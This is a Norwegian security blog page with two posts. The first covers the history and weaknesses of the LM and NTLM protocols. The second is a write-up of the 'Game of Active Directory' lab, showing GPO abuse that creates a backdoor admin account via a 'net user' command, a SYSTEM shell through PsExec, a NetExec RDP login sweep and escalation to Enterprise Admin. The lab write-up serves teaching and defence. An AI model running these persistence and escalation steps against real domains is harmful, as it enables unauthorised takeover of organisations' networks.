Dette blir det første innlegget om NTLM hardening – og handler om historikken og teorien bak hvorfor vi ønsker å se på hardening.
Bakgrunn
Lan Manager
På slutten av 1980-tallet begynte lokale nettverk (LAN) å bli vanlige i bedriftsmiljøer, og det oppsto behov for en felles mekanisme for innlogging og ressursdeling mellom maskiner.
LAN Manager (LM) ble utviklet for å tilby en felles standard for autentisering og tilgangsstyring i slike nettverk, spesielt mellom OS/2- og Windows/MS-DOS systemer.
Protokollen var tilpasset datidens maskinvare og nettverkshastigheter, og prioriterte enkel implementasjon fremfor sterk kryptografi – noe som i ettertid gjorde den svært sårbar:
Alle passord konverteres til store bokstaver
Alle passord var 14 tegn lange. Lengre passord ble kuttet, og kortere passord ble polstret med nuller.
Passordet ble delt i to blokker på 7 tegn hver, som kunne knekkes separat.
Ingen salting. Når et passord først ble knekt ett sted kunne man dele passord og tilsvarende LM-hash, og man visste at dersom man så den hashen i et annet miljø, hadde man også passordet.
Passordblokkene ble brukt til å generere nøkler for å DES-kryptere den samme verdien i alle miljøer: KGS!@#$%
Dette gjør at alle mulige LM-hashede passord uansett lengde i dag knekkes på under et sekund.
Likevel ser vi at LM-hashede passord fortsatt finnes i produksjonsmiljøer i 2025, og at LM-protokollen svært ofte er støttet som autentiseringsmetode.
New Technology Lan Manager
I 1993 lanserte Microsoft Windows NT 3.1, og med dette kom også erstatningen for den gamle LM-protokollen. Arvtageren ble kalt New Technology Lan Manager, eller NTLM. Den implementerte en rekke forbedringer over den gamle LM protokollen.
Man sluttet å konvertere passordet til store bokstaver, og man fikk etter hvert større støtte for tegnsett.
Passordene ble behandlet som en hel streng, ikke delt opp, og den fikk beholde sin lengde.
Man gikk bort fra den gamle 56-bit DES krypteringen i genereringen av passordhashing, og gikk over til å generere en MD4 hash av hele passordet, som resulterte i en såkalt “NT-Hash”.
Man etablerte en challenge-response modell som kan bidra til å hindre replay-angrep der man kunne fange opp autentiseringen og spille den av på nytt for å få tilgang. Denne challenge-response utvekslingen benyttet fortsatt DES til en viss grad.
Det ble innført støtte for en sesjonsnøkkel for å få signering og/eller kryptering av dataene i sesjonen.
Etter hvert ble svakhetene i NTLMv1 tydelige. Protokollen brukte fortsatt DES-baserte operasjoner, og challenge-response mekanismen var fortsatt sårbar for f.eks “pass-the-hash” angrep.
New Technology LAN Manager v2
I 1996 introduserte Microsoft derfor NTLMv2, som beholdt samme grunnleggende modell, men forbedret den kryptografiske styrken betydelig.
NTLMv2 beholdt støtte for eldre systemer, men dette førte også til at mange miljøer fortsatte å være sårbare dersom fallback var aktivert. Dette er fortsatt sant, og et ustrakt problem i 2025.
I stedet for å bare bruke serverens 8-bytes challenge, inkluderte NTLMv2 en klient-generert nonce, et tidsstempel og annen kontekstavhengig informasjon i beregningen. Dette gjorde replay-angrep mye vanskeligere, siden hver autentisering ble unik.
NTLMv2 bruker ikke lenger DES-protokollen i det hele tatt.
Sesjonsnøklene ble generert med protokollen HMAC-MD5, noe som gav økt beskyttelse for “signing” og “sealing” av trafikk i SMB og RPC.
Dog er NTLMv2 heller ikke uten sine svakheter.
Bakoverkompatibilitet med LM og NTLMv1 er ofte aktivert, og signing/sealing er som regel støttet, men ikke påkrevd. Resultatet er at mange domener i praksis kan forhandles ned til svakere moduser.
NTLMv2 bygger fortsatt på den opprinnelige NT-hashen (MD4), som fungerer som nøkkelmateriale i all videre beregning. Det betyr at dersom en angriper får tilgang til NT-hashen, kan de autentisere seg direkte uten å kjenne passordet – det klassiske “pass-the-hash”-angrepet.
Klienten beviser sin identitet overfor serveren, men serveren beviser ikke nødvendigvis sin identitet tilbake. Dette gjør man-in-the-middle-angrep (NTLM relay) mulig.
Selv om sesjonsnøkler finnes, er de ikke kryptografisk bundet til spesifikke forbindelser. Dette gjør at NTLM-relay fortsatt fungerer mellom tjenester som SMB, LDAP, HTTP og RPC, så lenge signering ikke er aktivert eller påkrevd.
En angriper som fanger opp en NTLMv2 challenge–response-utveksling kan fortsatt utføre offline cracking mot passordet. Protokollen bruker ingen salt utover utfordringen, og passordstyrken blir derfor avgjørende. Fordi salting ikke benyttes er identiske passord hashet identisk i alle miljøer.
Autentiseringsflyt
Autentiseringsprosessen i NTLM protokollen er som følger:
NTLM Autentiseringsprosessen fanget opp med Wireshark.
NTLMSSP_NEGOTIATE
NTLMSSP_NEGOTIATE skjer når en klient ønsker å autentisere seg mot en tjeneste på en tjener. I dette tilfellet over SMBv2.
En TCP pakke (SMBv2) sendes til tjenerens port 445 og spør om å etablere en sesjon. Den henvender seg til “Generic Security Service” APIet og ønsker å forhandle detaljer om autentiseringen.Vi ser forhandlingsdetaljene spør om å bruke Extended Session Security, signering, etc.
NTLMSSP_CHALLENGE
Tjeneren utfører sin side av forhandlingen, og sender en utfordring tilbake til klienten, for å bevise sin identitet.
Vi ser server sender et svar tilbake til klienten.
Vi ser dette er en NTLMSSP_CHALLENGE, og vi ser enighet om NTLM versjon, samt en server challenge som klienten må svare på.
I detaljene ser vi klart og tydelig at dette er en “NTLMSSP_Challenge” melding som en del av en “Simple Protected Negotiation”. Vi ser endringer i flaggene Negotiate version, Target Type Domain, og vi ser at det følger med en NTLM Server Challenge som i dette tilfellet er 48415c4e32bae70d.
NTLMSSP_AUTH
Til slutt svarer klienten på challenge, vi ser signering er på, men ikke påkrevd. Dette betyr at vi kunne nedgradert sikkerheten noe. Vi ser også at SMB kryptering ikke er påslått, så trafikken over denne kanalen sendes i klartekst og eventuelle filoverføringer el.l. vil potensielt kunne fanges opp, og filer dumpes rett ut av en trafikklogg.Vi ser dette er en NTLMSSP_AUTH melding, og den inneholder en NTLMv2 response, med tidsstempel, client challenge, etc. Denne informasjonen sammen med kontoens passordhash og server challenge hashes og sendes som svar tilbake til server for å etablere en autentisert sesjon.
Game of Active Directory del 3.2 – Persistence Privilege escalation & Lateral Movement fortsetter
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I forrige post anskaffet vi oss full kontroll over hele North subdomenet i sevenkingdoms.local AD-skogen. I denne posten skal vi ta over hele sevenkingdoms.local med mange av de samme MITRE ATT&CK teknikkene, og noen få nye, bl.a: T1484.001 – Group Policy Modification.
Active Directory Users and Computers
Vi er allerede inne som Backdoor Stark på Winterfell, og kan åpne server manager og kjøre Active Directory Users and Computers (ADUC) som domeneadministrator.
Som standard får vi opp domenet north.sevenkingdoms.local men vi ønsker å se hva vi kan finne i sevenkingdoms.local så vi bytter domenekontekst
Vi bytter kontekst til sevenkingdoms.local for å utforske AD miljøet i hoveddomenet.
Vi blar litt rundt, og noterer oss at kontoen daenerys.targaryen ligger i en OU som heter AcrossTheNarrowSea og tilhører domenet ESSOS. Dette kan kanskje være nyttig i fremtiden, selv om det ikke er helt relevant akkurat nå.
ESSOS\Daenerys.Targaryen eksisterer i sevenkingdoms.local, det er interessant.
Vi bemerker oss at Kingslanding DCen befinner seg i default-first-site-name sammen med Winterfell DCen.
Både Kingslanding og Winterfell befinner seg i default-first-site-name.
Dersom vi kan linke en group policy til default-first-site-name kan vi tvinge kjøring av vilkårlig kode i sevenkingdoms.local og få et solid fotfeste i hele AD-skogen.
Group Policy Management
Vi fyrer opp Group Policy Management og ser litt på group policies. Vi har domeneadmin rettigheter allerede så vi kan opprette egne, men vi finner en policy som heter StarkWallpaper som vi faktisk kunne brukt fra starten av når vi fant Samwell.Tarly sitt passord i rekognoseringsfasen dersom vi hadde ønsket det, ettersom han har mange rettigheter på policyobjektet.
Samwell Tarly og Domain Administrator har full kontroll på GPOen StarkWallpaper.
Vi modifiserer StarkWallpaper til å opprette en planlagt oppgave som skal kjøre så fort policyen treffer en maskin.
GPO -> Edit -> Computer Configuration -> Control Panel Settings -> Scheduled Tasks -> New Immediate Task (At least Windows 7)
Vi kaller den “Open Sesame”, og setter den til å kjøre som NT Authority\System enten bruker er logget inn eller ei, og at den skal kjøre i høyeste privilegienivå.
Under handlinger oppretter vi først en handling som lager en ny bruker ved navn backdoor.baratheon med passordet hail2theking
C:\Windows\System32\net.exe user backdoor.baratheon hail2theking /add
Planlagt oppgave: opprette ny lokal bruker backdoor.baratheon med passord hail2theking
Deretter skal bobby.baratheon legges til i administrators slik at vi får lokale adminrettigheter på maskinen den kjører på.
Planlagte oppgaver: Opprette ny lokal bruker, og melde ny bruker inn i lokaladmin gruppen.
Neste steg er å koble policyen til default-first-site-name og å fremprovosere kjøring i sevenkingdoms.local, men får vi til det?
Vi begynner med å inkludere Default-First-Site-Name i visningen i group policy management under sites.
Vi får sett siten, men vi får ikke lov til å linke policyer som brukeren backdoor.stark.
Link an Existing GPO… er grået ut for NORTH\backdoor.stark på Default-First-Site-Name
Sites and Services
Finnes det kontoer med redigeringsrettigheter? La oss åpne Active Directory Sites and Services for å ta en titt.
Vi ser at Domain Admins og Enterprise Admins i sevenkingdoms.local har rettighetene – men vi har ikke kontroll over noen av disse brukerene enda (se bort fra T.L passordet vi fant tidligere som vi kunne brukt). Men SYSTEM som er en lokal konto har også Write tilgang på Default-First-Site-Name objektet.
SYSTEM har skriverettigheter på Default-First-Site-Name og kan dermed linke GPOer her.
PSExec
Vi laster opp SysInternals verktøyet PSExec64.exe til C:\tmp på Winterfell, og åpner et powershell-vindu med adminrettigheter for å starte psexec som admin.
PS C:\tmp> .\PsExec64.exePsExec v2.43- Execute processes remotelyCopyright (C)2001-2023 Mark RussinovichSysinternals -www.sysinternals.comPsExec executes a program on a remote system,where remotely executed consoleapplications execute interactively.Usage: psexec [\\computer[,computer2[,...]|@file]][-uuser[-ppsswd]][-ns][-rservicename][-h][-l][-s|-e][-x][-i[session]][-c[-f|-v]][-wdirectory][-d][-<priority>][-gn][-an,n,...][-verbose] cmd [arguments]-a Separate processors on which the application can run with commas where1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter:"-a 2,4"-c Copy the specified program to the remote system for execution. If you omit this option the application must be in the system path on the remote system.-d Don't wait for process to terminate (non-interactive). -e Does not load the specified account's profile.-f Copy the specified program even if the file already exists on the remote system.-g Set the primary thread's processor group to the one specified (Only for systems with more than 64 processors). -i Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session. -h If the target system is Vista or higher, has the process run with the account's elevated token,if available.-l Run process as limited user (strips the Administrators group and allows only privileges assigned to the Users group). On Windows Vista the process runs with Low Integrity.-n Specifies timeout in seconds connecting to remote computers.-p Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password.-r Specifies the name of the remote service to create or interact. with.-s Run the remote processin the System account.-u Specifies optional user name for login to remote computer.-v Copy the specified file only if it has a higher version number or is newer on than the one on the remote system.-w Set the working directory of the process(relative to remote computer).-x Display the UI on the Winlogon secure desktop (local system only).-arm Specifies the remote computer is of ARM architecture.-priority Specifies -low,-belownormal,-abovenormal,-high or-realtime to run the process at a different priority. Use-background to run at low memory and I/O priority on Vista. computer Direct PsExec to run the application on the remote computer or computers specified. If you omit the computer name PsExec runs the application on the local system, and if you specify a wildcard (\\*), PsExec runs the command on all computers in the current domain.@file PsExec will execute the command on each of the computers listedin the file. cmd Name of application to execute. arguments Arguments to pass (note that file paths must be absolute paths on the target system).-accepteula This flag suppresses the display of the license dialog.-nobanner Do not display the startup banner and copyright message.
Vi kjører psexec med flaggene -s for å kjøre som System, -i for å kjøre console og -d så ikke den trenger å vente på at sesjonen tar slutt, og ber den starte cmd.exe
PS C:\tmp> .\PsExec64.exe-s -i -d cmd.exePsExec v2.43- Execute processes remotelyCopyright (C)2001-2023 Mark RussinovichSysinternals -www.sysinternals.comcmd.exe started on WINTERFELL with process ID 2648.
Nå har vi et cmd.exe shell kjørende som nt authority\system på Winterfell DC-en. La oss kjøre en ny instans av Server Manager i denne konteksten, åpne group policy manager og sjekke om vi kan linke GPOer til Default-First-Site-Name nå.
Vi ser at “Link an existing GPO…” er klikkbar nå som vi kjører Group Policy Manager som NT Authority\System
Det får vi lov til, og vi linker StarkWallpaper GPOen her. Med det gjort ønsker vi nå å endre på security filtering, slik at den treffer domenekontrolleren Kingslanding i sevenkingdoms.local
Security Filtering: scopet mot KINGSLANDING$ i sevenkingdoms.local istedenfor Authenticated Users i north.sevenkingdoms.local
Verifisering
Vi scanner kjapt med NetExec for å se om vi får tilgang over RDP med backdoor.baratheon og passord hail2theking, og kan bekrefte at den har kjørt på både Winterfell og på Kingslanding, og at vi nå eier domenekontrolleren i sevenkingdoms.local
$netexecrdp10.3.2.10-30-ubackdoor.baratheon-phail2thekingRDP10.3.2.113389WINTERFELL [*] Windows 10 or Windows Server 2016 Build 17763 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(nla:True)RDP10.3.2.103389KINGSLANDING [*] Windows 10 or Windows Server 2016 Build 17763 (name:KINGSLANDING)(domain:sevenkingdoms.local)(nla:True)RDP10.3.2.223389CASTELBLACK [*] Windows 10 or Windows Server 2016 Build 17763 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(nla:True)RDP10.3.2.123389MEEREEN [*] Windows 10 or Windows Server 2016 Build 14393 (name:MEEREEN)(domain:essos.local)(nla:True)RDP10.3.2.233389BRAAVOS [*] Windows 10 or Windows Server 2016 Build 14393 (name:BRAAVOS)(domain:essos.local)(nla:True)RDP10.3.2.113389WINTERFELL [+] north.sevenkingdoms.local\backdoor.baratheon:hail2theking (Pwn3d!)RDP10.3.2.103389KINGSLANDING [+] sevenkingdoms.local\backdoor.baratheon:hail2theking (Pwn3d!)RDP10.3.2.223389CASTELBLACK [+] north.sevenkingdoms.local\backdoor.baratheon:hail2theking RDP10.3.2.123389MEEREEN [-] essos.local\backdoor.baratheon:hail2theking (STATUS_LOGON_FAILURE)RDP10.3.2.233389BRAAVOS [-] essos.local\backdoor.baratheon:hail2theking (encoded_datamustbeabytestring,notNoneType)Runningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi lykkes med å logge på kingslanding DCen i sevenkingdoms.local som backdoor.baratheon og vi har full admintilgang – også i domenet.
Vi kan f.eks elevere oss selv til Enterprise Admin i skogen via ADUC
Vi legger oss selv til som Enterprise Admin
Herfra kan vi se om det er noen spennende måter å få fotfeste i Essos.local domenet, som er det vi skal ta for oss i neste innlegg.
Refleksjon
Som vi så var det en smal sak å forflytte seg fra et underdomene til et overordnet domene når man allerede hadde kontroll over en domenekontroller, og kontrollerene i begge strukturene delte samme site. Dette er en sårbar standardkonfigurasjon i Active Directory veldig mange ikke er klar over, og kan utnyttes for å bryte hele skogen når man først har fått et solid feste i ett av domenene.
Vi har funnet andre indikatorer på at ting ikke er som de skal, vi kunne enumerere objekter i sevenkingdoms.local via robb.stark i north.sevenkingdoms.local, og vi fant et passordhint for en konto “T.L” som ikke befinner seg i north.
Det er også mange flere sårbarheter men jeg ønsker ikke å kartlegge absolutt alle i denne serien, det er kun ment for å vise hvordan jeg valgte å løse det, slik at andre kan se hvor alvorlige konsekvensene kan være dersom man har slike svakheter i Active Directory miljøene sine.
Jeg føler ikke noe enormt tidspress med å gi ut råd om hvordan man tetter disse hullene ettersom alle verktøyene og teknikkene har vært ute i mange år allerede, og jeg tror det er i hovedsak administratorer som bør eksponeres for lavterskel-angrep som detet for å få øynene opp for hvor viktig det er å ta en ordentlig gjennomgang av identitetsmiljøet sitt.
Det er nemmelig slik i 2025 at trusselaktørene foretrekker å logge seg inn, ikke bryte seg inn.
